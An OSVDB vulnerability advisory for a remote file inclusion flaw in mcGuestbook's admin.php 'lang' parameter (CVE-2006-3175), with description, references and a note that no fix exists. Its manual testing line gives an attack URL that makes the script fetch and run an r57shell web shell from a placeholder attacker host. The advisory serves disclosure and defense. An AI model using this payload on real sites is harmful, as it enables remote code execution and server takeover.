mcGuestbook admin.php lang Variable Remote File Inclusion

2006-06-13T16:51:22
ID OSVDB:27460
Type osvdb
Reporter sweet-devil(gamr-14@hotmail.com)
Modified 2006-06-13T16:51:22

Description

Vulnerability Description

mcGuestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to admin.php not properly sanitizing user input supplied to the 'lang' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

mcGuestbook contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to admin.php not properly sanitizing user input supplied to the 'lang' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/path/admin.php?lang=http://[attacker]/r57shell.txt?

References:

Vendor URL: http://www.phpforums.net/index.php?dir=dld Related OSVDB ID: 27461 Related OSVDB ID: 27462 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0331.html Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0251.html ISS X-Force ID: 27114 CVE-2006-3175 Bugtraq ID: 18476